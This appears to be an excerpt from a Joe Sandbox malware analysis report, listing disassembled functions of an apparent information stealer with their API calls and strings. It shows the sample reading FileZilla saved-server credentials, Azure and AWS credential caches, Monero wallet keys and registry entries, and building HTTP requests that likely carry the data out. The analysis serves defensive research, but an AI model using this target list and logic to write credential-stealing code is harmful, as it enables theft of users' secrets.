Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00C903B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C98F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C98F9B

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C8A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C8A13C
Part of subcall function 00C8A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C8A161
Part of subcall function 00C8A110: LocalAlloc.KERNEL32(00000040,?), ref: 00C8A181
Part of subcall function 00C8A110: ReadFile.KERNEL32(000000FF,?,00000000,00C8148F,00000000), ref: 00C8A1AA
Part of subcall function 00C8A110: LocalFree.KERNEL32(00C8148F), ref: 00C8A1E0
Part of subcall function 00C8A110: CloseHandle.KERNEL32(000000FF), ref: 00C8A1EA

Part of subcall function 00C98FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C98FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00CA0DBF,00CA0DBE,00CA0DBB,00CA0DBA), ref: 00C904C2
RtlAllocateHeap.NTDLL(00000000), ref: 00C904C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 00C904E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C904F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 00C9052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C9053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00C90579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C90587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00C905C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C905D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C90662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C9067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C90692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C906AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00C906C2
lstrcat.KERNEL32(?,profile: null), ref: 00C906D1
lstrcat.KERNEL32(?,url: ), ref: 00C906E0
lstrcat.KERNEL32(?,00000000), ref: 00C906F3
lstrcat.KERNEL32(?,00CA1770), ref: 00C90702
lstrcat.KERNEL32(?,00000000), ref: 00C90715
lstrcat.KERNEL32(?,00CA1774), ref: 00C90724
lstrcat.KERNEL32(?,login: ), ref: 00C90733
lstrcat.KERNEL32(?,00000000), ref: 00C90746
lstrcat.KERNEL32(?,00CA1780), ref: 00C90755
lstrcat.KERNEL32(?,password: ), ref: 00C90764
lstrcat.KERNEL32(?,00000000), ref: 00C90777
lstrcat.KERNEL32(?,00CA1790), ref: 00C90786
lstrcat.KERNEL32(?,00CA1794), ref: 00C90795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CA0DB7), ref: 00C907EE

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00C90404
url: , xrefs: 00C906D7
profile: null, xrefs: 00C906C8
<Pass encoding="base64">, xrefs: 00C905BA
<Port>, xrefs: 00C90526
<User>, xrefs: 00C90570
browser: FileZilla, xrefs: 00C906B9
login: , xrefs: 00C9072A
<Host>, xrefs: 00C904DC
password: , xrefs: 00C9075B

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: e9f734597c1c3978a53bfab7547afc01a19ed289faa41d94b0ca98cc632f557b
Instruction ID: 66baf18deec2fdc3abd3a94f7b4292e079162eb6937ea6aed765e8064ccfdfc7
Opcode Fuzzy Hash: e9f734597c1c3978a53bfab7547afc01a19ed289faa41d94b0ca98cc632f557b
Instruction Fuzzy Hash: 89D12F72910208ABCF04FBF4DD9AEEE7739AF15701F508558F602A7091DF34AA48DBA5

Function 00C859B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C84800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C84889
Part of subcall function 00C84800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C84899

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C85A48
StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C85A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C85BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0152E240,00000000,?,0152A038,00000000,?,00CA1B4C), ref: 00C85EC1
lstrlen.KERNEL32(00000000), ref: 00C85ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00C85EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00C85EEA
lstrlen.KERNEL32(00000000), ref: 00C85EFF
lstrlen.KERNEL32(00000000), ref: 00C85F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C85F41
lstrlen.KERNEL32(00000000,?,?), ref: 00C85F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C85F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00C85F9C
InternetCloseHandle.WININET(00000000), ref: 00C86000
InternetCloseHandle.WININET(00000000), ref: 00C8600D
HttpOpenRequestA.WININET(00000000,0152E290,?,0152DA28,00000000,00000000,00400100,00000000), ref: 00C85C48

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

InternetCloseHandle.WININET(00000000), ref: 00C86017

Strings

------, xrefs: 00C85D9C
------, xrefs: 00C85C5B
------, xrefs: 00C85AE6
", xrefs: 00C85E66
", xrefs: 00C85D25

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 07c05dd3fb5a8ce8a5b2d7ce0f5a53b1b05670d9933a00ec7b52261661948850
Instruction ID: 9cd60cece2bcc9bac8a94036616745142ef1650a38068e820642446c9c86724d
Opcode Fuzzy Hash: 07c05dd3fb5a8ce8a5b2d7ce0f5a53b1b05670d9933a00ec7b52261661948850
Instruction Fuzzy Hash: DB12DB72920118ABCF15EBA0DCAAFEEB379BF14700F104599F10666191EF706B48DFA5

Function 00C8CFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C8D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C8D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 00C8D1CE
lstrcat.KERNEL32(?,00000000), ref: 00C8D308
lstrcat.KERNEL32(?,00CA1570), ref: 00C8D317
lstrcat.KERNEL32(?,00000000), ref: 00C8D32A
lstrcat.KERNEL32(?,00CA1574), ref: 00C8D339
lstrcat.KERNEL32(?,00000000), ref: 00C8D34C
lstrcat.KERNEL32(?,00CA1578), ref: 00C8D35B
lstrcat.KERNEL32(?,00000000), ref: 00C8D36E
lstrcat.KERNEL32(?,00CA157C), ref: 00C8D37D
lstrcat.KERNEL32(?,00000000), ref: 00C8D390
lstrcat.KERNEL32(?,00CA1580), ref: 00C8D39F
lstrcat.KERNEL32(?,00000000), ref: 00C8D3B2
lstrcat.KERNEL32(?,00CA1584), ref: 00C8D3C1
lstrcat.KERNEL32(?,00000000), ref: 00C8D3D4
lstrcat.KERNEL32(?,00CA1588), ref: 00C8D3E3

Part of subcall function 00C9AB30: lstrlen.KERNEL32(00C84F55,?,?,00C84F55,00CA0DDF), ref: 00C9AB3B
Part of subcall function 00C9AB30: lstrcpy.KERNEL32(00CA0DDF,00000000), ref: 00C9AB95

lstrlen.KERNEL32(?), ref: 00C8D42A
lstrlen.KERNEL32(?), ref: 00C8D439

Part of subcall function 00C9AD80: StrCmpCA.SHLWAPI(00000000,00CA1568,00C8D2A2,00CA1568,00000000), ref: 00C9AD9F

DeleteFileA.KERNEL32(00000000), ref: 00C8D4B4

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1c732d7e4ed1ed391462ef261d76ea67842fca8b3af9b95173d77ddef14cb122
Instruction ID: b81cea4b4701ceee3b75a8c7fe744562353eaaaa52c90bbb63b70fbee2743f9d
Opcode Fuzzy Hash: 1c732d7e4ed1ed391462ef261d76ea67842fca8b3af9b95173d77ddef14cb122
Instruction Fuzzy Hash: 17E11072914208ABCF04FBA0DD9AEEE7379AF54301F104554F607B64A1DF31AE08EBA5

Function 00C8CA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0152CF40,00000000,?,00CA1544,00000000,?,?), ref: 00C8CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00C8CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 00C8CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C8CBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00C8CBD9
StrStrA.SHLWAPI(?,0152CF58,00CA0B56), ref: 00C8CBF7
StrStrA.SHLWAPI(00000000,0152CF70), ref: 00C8CC1E
StrStrA.SHLWAPI(?,0152D1F8,00000000,?,00CA1550,00000000,?,00000000,00000000,?,01528A50,00000000,?,00CA154C,00000000,?), ref: 00C8CDA2
StrStrA.SHLWAPI(00000000,0152D218), ref: 00C8CDB9

Part of subcall function 00C8C920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C8C971
Part of subcall function 00C8C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C8C97C

StrStrA.SHLWAPI(?,0152D218,00000000,?,00CA1554,00000000,?,00000000,01528B80), ref: 00C8CE5A
StrStrA.SHLWAPI(00000000,015289D0), ref: 00C8CE71

Part of subcall function 00C8C920: lstrcat.KERNEL32(?,00CA0B47), ref: 00C8CA43
Part of subcall function 00C8C920: lstrcat.KERNEL32(?,00CA0B4B), ref: 00C8CA57
Part of subcall function 00C8C920: lstrcat.KERNEL32(?,00CA0B4E), ref: 00C8CA78

lstrlen.KERNEL32(00000000), ref: 00C8CF44
CloseHandle.KERNEL32(00000000), ref: 00C8CF9C

Strings

, xrefs: 00C8CAC6

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 83adb8998dd2aa1fdea00e3827a13e0f0059c8d8e6c8619f7da30e945b2c06f7
Instruction ID: 783820f7035c0c7b2b914e8ad31d74d63b082efe4ccf23d5a0c0ba022d7a2cfc
Opcode Fuzzy Hash: 83adb8998dd2aa1fdea00e3827a13e0f0059c8d8e6c8619f7da30e945b2c06f7
Instruction Fuzzy Hash: F6E1FF71910208ABCF14EBE4DCA6FEEB779AF54300F004599F106A7191EF316A49DFA5

Function 00C984B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

RegOpenKeyExA.ADVAPI32(00000000,0152B040,00000000,00020019,00000000,00CA05BE), ref: 00C98534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C985B6
wsprintfA.USER32 ref: 00C985E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C9860B
RegCloseKey.ADVAPI32(00000000), ref: 00C9861C
RegCloseKey.ADVAPI32(00000000), ref: 00C98629

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Strings

%s\%s, xrefs: 00C985DD
?, xrefs: 00C9850A
- , xrefs: 00C98733

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2cddfcf5407a190e7d3f05bc1671d78726b2e97c49d01417a2a713ec60852965
Instruction ID: f66cea47cffa2174459139c5017c51006ece37de966f4dd9b5fa413f81612e78
Opcode Fuzzy Hash: 2cddfcf5407a190e7d3f05bc1671d78726b2e97c49d01417a2a713ec60852965
Instruction Fuzzy Hash: E381FC7191021CABDB24DB54DD95FEA77B8BB48700F1086D8F209A6180DF716B88DFE0

Function 00C94FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C98F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C98F9B

lstrcat.KERNEL32(?,00000000), ref: 00C95000
lstrcat.KERNEL32(?,\.azure\), ref: 00C9501D

Part of subcall function 00C94B60: wsprintfA.USER32 ref: 00C94B7C
Part of subcall function 00C94B60: FindFirstFileA.KERNEL32(?,?), ref: 00C94B93

lstrcat.KERNEL32(?,00000000), ref: 00C9508C
lstrcat.KERNEL32(?,\.aws\), ref: 00C950A9

Part of subcall function 00C94B60: StrCmpCA.SHLWAPI(?,00CA0FC4), ref: 00C94BC1
Part of subcall function 00C94B60: StrCmpCA.SHLWAPI(?,00CA0FC8), ref: 00C94BD7
Part of subcall function 00C94B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00C94DCD
Part of subcall function 00C94B60: FindClose.KERNEL32(000000FF), ref: 00C94DE2

lstrcat.KERNEL32(?,00000000), ref: 00C95118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00C95135

Part of subcall function 00C94B60: wsprintfA.USER32 ref: 00C94C00
Part of subcall function 00C94B60: StrCmpCA.SHLWAPI(?,00CA08D3), ref: 00C94C15
Part of subcall function 00C94B60: wsprintfA.USER32 ref: 00C94C32
Part of subcall function 00C94B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00C94C6E
Part of subcall function 00C94B60: lstrcat.KERNEL32(?,0152E3A0), ref: 00C94C9A
Part of subcall function 00C94B60: lstrcat.KERNEL32(?,00CA0FE0), ref: 00C94CAC
Part of subcall function 00C94B60: lstrcat.KERNEL32(?,?), ref: 00C94CC0
Part of subcall function 00C94B60: lstrcat.KERNEL32(?,00CA0FE4), ref: 00C94CD2
Part of subcall function 00C94B60: lstrcat.KERNEL32(?,?), ref: 00C94CE6
Part of subcall function 00C94B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00C94CFC
Part of subcall function 00C94B60: DeleteFileA.KERNEL32(?), ref: 00C94D81

Strings

Azure\.IdentityService, xrefs: 00C9513B
*.*, xrefs: 00C95028
\.IdentityService\, xrefs: 00C95129
*.*, xrefs: 00C950B4
msal.cache, xrefs: 00C95140
\.azure\, xrefs: 00C95011
Azure\.aws, xrefs: 00C950AF
Azure\.azure, xrefs: 00C95023
\.aws\, xrefs: 00C9509D

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
